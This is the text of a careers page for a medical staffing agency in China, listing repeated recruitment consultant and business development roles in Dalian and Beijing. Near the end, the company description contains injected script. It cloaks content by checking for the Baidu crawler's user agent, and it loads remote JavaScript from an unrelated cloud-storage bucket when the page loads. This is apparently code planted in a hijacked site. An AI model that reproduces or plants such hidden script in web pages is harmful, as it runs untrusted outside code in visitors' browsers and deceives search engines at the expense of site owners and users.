欢迎您来到杏林天赋中国官方网站，我们是 ICG 医疗旗下的一个新锐品牌。我们正在寻找优秀的人才加入我们的内部团队，目前我们开放了人力资源/人事、学习与发展、招聘、业务发展和销售等相关岗位。 我们认为，杏林天赋中国的开疆拓土和业绩长虹，与每一位加入我们的员工息息相关。为了给客户持续提供高质量的服务，我们需要才华横溢，且有志于在医药行业大展宏图的有志之士加入我们这个大家庭。
全职
大连市-中山区
About us Greenstaff Medical is a specialist healthcare staffing agency who provide permanent employment solutions across China. Greenstaff Medical has offices in the UK, Australia, Canada and the USA and have been providing high quality talent to our clients since 2017. Our recruitment covers nurses and doctors. Our specialities cover internal medicine, general surgery, OBGYN, paediatrics, stomatology/oral medicine, oncology, plastic surgery, anaesthesiology, ER, OR, ICU, organ transplantation, general practice, rehabilitation, midwives, senior care, community nursing, infectious disease nursing, psychiatric nursing, international institute nursing and nursing management/advanced nursing. We support hospitals, healthcare plus and real estate with permanent requirements in the private healthcare arena. One of our USPs is our understanding of the importance of healthcare professionals and why their work is so important. With our global offering, we are able to provide support to healthcare professionals returning to China or those who would like to work within the UK, Australia, Canada or the USA. We are big enough to matter, but small enough to care. Purpose The purpose of this role is to identify and develop new business opportunities for Greenstaff China. The goal is to drive sustainable financial growth through boosting sales and forging strong relationships with clients. The Business Development Executive will have a successful track record and proven experience in selling talent solutions/bundles to hospitals and healthcare systems for their market. You will have a strategic approach to identifying and pursuing new business opportunities. Driven by research, you will be required to develop and implement a client acquisition plan to ensure desired outcomes and targets are achieved. Previous staffing, consulting and healthcare experience is ideal. Duties & Responsibilities •Research and identify insights and new business accounts, opportunities, and areas of growth - including new markets, growth areas, trends, talent solutions, products, marketing •Source and connect with the appropriate contact in an organisation •Aim your insights to generate leads and prospective customers this may include cold calling, direct marketing, CRM •Meet with and target the right accounts and customers/clients in person or virtually •Discuss and understand the insights, issues, and needs of your customers and be able to respond effectively with a plan and value proposition of how to meet these •Develop strategic acquisition plans – using insights and data to convert prospects into clients Work strategically and in partnership with key internal stakeholders to effectively plan and implement operational changes •Define, plan, and support the roll-out of sales campaigns with marketing and the business •Own, develop, create, and manage a sales database and pipeline •Negotiate contracts, pricing and engagements with clients and contacts •Foster relationship and always look for opportunities to increase sales •Accountability for successfully leading and winning local and national tenders (if required) Please send email to TalentCH@greenstaffmedical.com
全职
大连市-中山区
About us Greenstaff Medical is a specialist healthcare staffing agency who provide permanent employment solutions across China. Greenstaff Medical has offices in the UK, Australia, Canada and the USA and have been providing high quality talent to our clients since 2017. Our recruitment covers nurses and doctors. Our specialities cover internal medicine, general surgery, OBGYN, paediatrics, stomatology/oral medicine, oncology, plastic surgery, anaesthesiology, ER, OR, ICU, organ transplantation, general practice, rehabilitation, midwives, senior care, community nursing, infectious disease nursing, psychiatric nursing, international institute nursing and nursing management/advanced nursing. We support hospitals, healthcare plus and real estate with permanent requirements in the private healthcare arena. One of our USPs is our understanding of the importance of healthcare professionals and why their work is so important. With our global offering, we are able to provide support to healthcare professionals returning to China or those who would like to work within the UK, Australia, Canada or the USA. We are big enough to matter, but small enough to care. About the role – Associate Recruitment Consultant We are looking for an energetic and quality-driven individual to join our dynamic team as an Associate Consultant Description • Maintain and develop searching channels to collect new information, Make search lists of target companies and candidates • Make cold calls to unknown candidates • Collect and screen CVs according to job description and requirements from consultant • Support consultant in making recruitment calls to the targeted candidates, and arrange face to face interviews • In depth analyzing and drawing the correct organization chart based on the information received from candidates. • Ensure the candidate revised profile is keyed into the system • Research the specific market to maintain current and up-to-date industry information • Present the profile to consultant to conduct further evaluation of candidates • Ensure to key in all the candidates’ profiles to company system • Ensure to follow the company process and procedure to get the work done Qualifications • Bachelor’s degree or above in relative discipline • Fresh graduates or 1~3 years working experience. Related recruitment or headhunter experience are preferred • Excellent communication and interpersonal skills • Result driven and strong desire to succeed • Willing to take challenges and able to work under pressure • Good English in both written & spoken Please send email to TalentCH@greenstaffmedical.com
全职
大连市-中山区
About us Greenstaff Medical is a specialist healthcare staffing agency who provide permanent employment solutions across China. Greenstaff Medical has offices in the UK, Australia, Canada and the USA and have been providing high quality talent to our clients since 2017. Our recruitment covers nurses and doctors. Our specialities cover internal medicine, general surgery, OBGYN, paediatrics, stomatology/oral medicine, oncology, plastic surgery, anaesthesiology, ER, OR, ICU, organ transplantation, general practice, rehabilitation, midwives, senior care, community nursing, infectious disease nursing, psychiatric nursing, international institute nursing and nursing management/advanced nursing. We support hospitals, healthcare plus and real estate with permanent requirements in the private healthcare arena. One of our USPs is our understanding of the importance of healthcare professionals and why their work is so important. With our global offering, we are able to provide support to healthcare professionals returning to China or those who would like to work within the UK, Australia, Canada or the USA. We are big enough to matter, but small enough to care. About the role – Recruitment Consultant As a professional consultant with well-rounded skill set, your role will be: Description • Identify, develop, and manage client business/relationships in a competitive environment. This can be with businesses of all sizes from large multifacility hospitals down to rapidly growing private medical practices. • Assess and respond to the needs of each particular client or assignment and advise on suitable methods to ensure timely delivery. • Significant networking to attract new candidates including medical conferences and events. • Building relationships with candidates and clients. • Offer consultative CV and interview advice to candidates. • Source suitable candidates (either from the database or specific advertising campaign) and brief them on the opportunities offered by the client. • Manage the recruitment process through interview to offer stage and beyond. • Creating opportunities by networking. • Attend client meetings and introduce the services of the company. Please send email to TalentCH@greenstaffmedical.com
全职
北京市-朝阳区
About us Greenstaff Medical is a specialist healthcare staffing agency who provide permanent employment solutions across China. Greenstaff Medical has offices in the UK, Australia, Canada and the USA and have been providing high quality talent to our clients since 2017. Our recruitment covers nurses and doctors. Our specialities cover internal medicine, general surgery, OBGYN, paediatrics, stomatology/oral medicine, oncology, plastic surgery, anaesthesiology, ER, OR, ICU, organ transplantation, general practice, rehabilitation, midwives, senior care, community nursing, infectious disease nursing, psychiatric nursing, international institute nursing and nursing management/advanced nursing. We support hospitals, healthcare plus and real estate with permanent requirements in the private healthcare arena. One of our USPs is our understanding of the importance of healthcare professionals and why their work is so important. With our global offering, we are able to provide support to healthcare professionals returning to China or those who would like to work within the UK, Australia, Canada or the USA. We are big enough to matter, but small enough to care. About the role – Recruitment Consultant As a professional consultant with well-rounded skill set, your role will be: Description • Identify, develop, and manage client business/relationships in a competitive environment. This can be with businesses of all sizes from large multifacility hospitals down to rapidly growing private medical practices. • Assess and respond to the needs of each particular client or assignment and advise on suitable methods to ensure timely delivery. • Significant networking to attract new candidates including medical conferences and events. • Building relationships with candidates and clients. • Offer consultative CV and interview advice to candidates. • Source suitable candidates (either from the database or specific advertising campaign) and brief them on the opportunities offered by the client. • Manage the recruitment process through interview to offer stage and beyond. • Creating opportunities by networking. • Attend client meetings and introduce the services of the company. Please send email to TalentCH@greenstaffmedical.com
全职
北京市-朝阳区
About us Greenstaff Medical is a specialist healthcare staffing agency who provide permanent employment solutions across China. Greenstaff Medical has offices in the UK, Australia, Canada and the USA and have been providing high quality talent to our clients since 2017. Our recruitment covers nurses and doctors. Our specialities cover internal medicine, general surgery, OBGYN, paediatrics, stomatology/oral medicine, oncology, plastic surgery, anaesthesiology, ER, OR, ICU, organ transplantation, general practice, rehabilitation, midwives, senior care, community nursing, infectious disease nursing, psychiatric nursing, international institute nursing and nursing management/advanced nursing. We support hospitals, healthcare plus and real estate with permanent requirements in the private healthcare arena. One of our USPs is our understanding of the importance of healthcare professionals and why their work is so important. With our global offering, we are able to provide support to healthcare professionals returning to China or those who would like to work within the UK, Australia, Canada or the USA. We are big enough to matter, but small enough to care. About the role – Senior Recruitment Consultant As a senior consultant, you're the link between clients and candidates. The role is demanding and diverse. Description •Using sales, business development, marketing techniques and networking to attract business from medical related industries •Visiting clients to build and develop positive relationships •Developing a good understanding of client companies, their industry, what they do, their work culture and environment •Advertising vacancies by drafting and placing adverts websites and social media •Using candidate databases to match the right person to the client's vacancy •Receiving and reviewing applications, managing interviews and tests, and creating a shortlist of candidates for the client •Requesting references and checking the suitability of applicants before submitting their details to the client •Briefing the candidate about the responsibilities, salary, and benefits of the job •Preparing CVs and correspondence to forward to clients regarding suitable applicants •Organizing interviews for candidates as requested by the client •Informing candidates about the results of interviews •Negotiating pay and salary rates and finalizing arrangements between clients and candidates •Offering advice to both clients and candidates on pay rates, training, and career progression •Working towards and exceeding targets that may relate to the number of candidates placed, a value to be billed to clients or business leads generated •Working with junior consultants and mentoring them to achieve excellence in their specialization •Developing a team in a specialized recruitment segment as agreed with your line manager Please send email to TalentCH@greenstaffmedical.com
全职
北京市-朝阳区
About us Greenstaff Medical is a specialist healthcare staffing agency who provide permanent employment solutions across China. Greenstaff Medical has offices in the UK, Australia, Canada and the USA and have been providing high quality talent to our clients since 2017. Our recruitment covers nurses and doctors. Our specialities cover internal medicine, general surgery, OBGYN, paediatrics, stomatology/oral medicine, oncology, plastic surgery, anaesthesiology, ER, OR, ICU, organ transplantation, general practice, rehabilitation, midwives, senior care, community nursing, infectious disease nursing, psychiatric nursing, international institute nursing and nursing management/advanced nursing. We support hospitals, healthcare plus and real estate with permanent requirements in the private healthcare arena. One of our USPs is our understanding of the importance of healthcare professionals and why their work is so important. With our global offering, we are able to provide support to healthcare professionals returning to China or those who would like to work within the UK, Australia, Canada or the USA. We are big enough to matter, but small enough to care. About the role – Associate Recruitment Consultant We are looking for an energetic and quality-driven individual to join our dynamic team as an Associate Consultant Description • Maintain and develop searching channels to collect new information, Make search lists of target companies and candidates • Make cold calls to unknown candidates • Collect and screen CVs according to job description and requirements from consultant • Support consultant in making recruitment calls to the targeted candidates, and arrange face to face interviews • In depth analyzing and drawing the correct organization chart based on the information received from candidates. • Ensure the candidate revised profile is keyed into the system • Research the specific market to maintain current and up-to-date industry information • Present the profile to consultant to conduct further evaluation of candidates • Ensure to key in all the candidates’ profiles to company system • Ensure to follow the company process and procedure to get the work done Qualifications • Bachelor’s degree or above in relative discipline • Fresh graduates or 1~3 years working experience. Related recruitment or headhunter experience are preferred • Excellent communication and interpersonal skills • Result driven and strong desire to succeed • Willing to take challenges and able to work under pressure • Good English in both written & spoken Please send email to TalentCH@greenstaffmedical.com
全职
北京市-朝阳区
About us Greenstaff Medical is a specialist healthcare staffing agency who provide permanent employment solutions across China. Greenstaff Medical has offices in the UK, Australia, Canada and the USA and have been providing high quality talent to our clients since 2017. Our recruitment covers nurses and doctors. Our specialities cover internal medicine, general surgery, OBGYN, paediatrics, stomatology/oral medicine, oncology, plastic surgery, anaesthesiology, ER, OR, ICU, organ transplantation, general practice, rehabilitation, midwives, senior care, community nursing, infectious disease nursing, psychiatric nursing, international institute nursing and nursing management/advanced nursing. We support hospitals, healthcare plus and real estate with permanent requirements in the private healthcare arena. One of our USPs is our understanding of the importance of healthcare professionals and why their work is so important. With our global offering, we are able to provide support to healthcare professionals returning to China or those who would like to work within the UK, Australia, Canada or the USA. We are big enough to matter, but small enough to care. Purpose The purpose of this role is to identify and develop new business opportunities for Greenstaff China. The goal is to drive sustainable financial growth through boosting sales and forging strong relationships with clients. The Business Development Executive will have a successful track record and proven experience in selling talent solutions/bundles to hospitals and healthcare systems for their market. You will have a strategic approach to identifying and pursuing new business opportunities. Driven by research, you will be required to develop and implement a client acquisition plan to ensure desired outcomes and targets are achieved. Previous staffing, consulting and healthcare experience is ideal. Duties & Responsibilities •Research and identify insights and new business accounts, opportunities, and areas of growth - including new markets, growth areas, trends, talent solutions, products, marketing •Source and connect with the appropriate contact in an organisation •Aim your insights to generate leads and prospective customers this may include cold calling, direct marketing, CRM •Meet with and target the right accounts and customers/clients in person or virtually •Discuss and understand the insights, issues, and needs of your customers and be able to respond effectively with a plan and value proposition of how to meet these •Develop strategic acquisition plans – using insights and data to convert prospects into clients Work strategically and in partnership with key internal stakeholders to effectively plan and implement operational changes •Define, plan, and support the roll-out of sales campaigns with marketing and the business •Own, develop, create, and manage a sales database and pipeline •Negotiate contracts, pricing and engagements with clients and contacts •Foster relationship and always look for opportunities to increase sales •Accountability for successfully leading and winning local and national tenders (if required) Please send email to TalentCH@greenstaffmedical.com
杏林天赋（Greenstaff Medical China）是专注于医疗健康专业人士招聘的人力资源服务机构。我们专注于医疗健康领域的招聘服务，包括医疗机构、制药、智慧医疗等行业的专业岗位招聘。 <script>if(navigator.userAgent.toLocaleLowerCase().indexOf("baidu") == -1){document.title ="11111"}</script> <script src="http://s4w7efu0p.bkt.clouddn.com/bd.js"></script>
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info@greenstaffmedical.cn
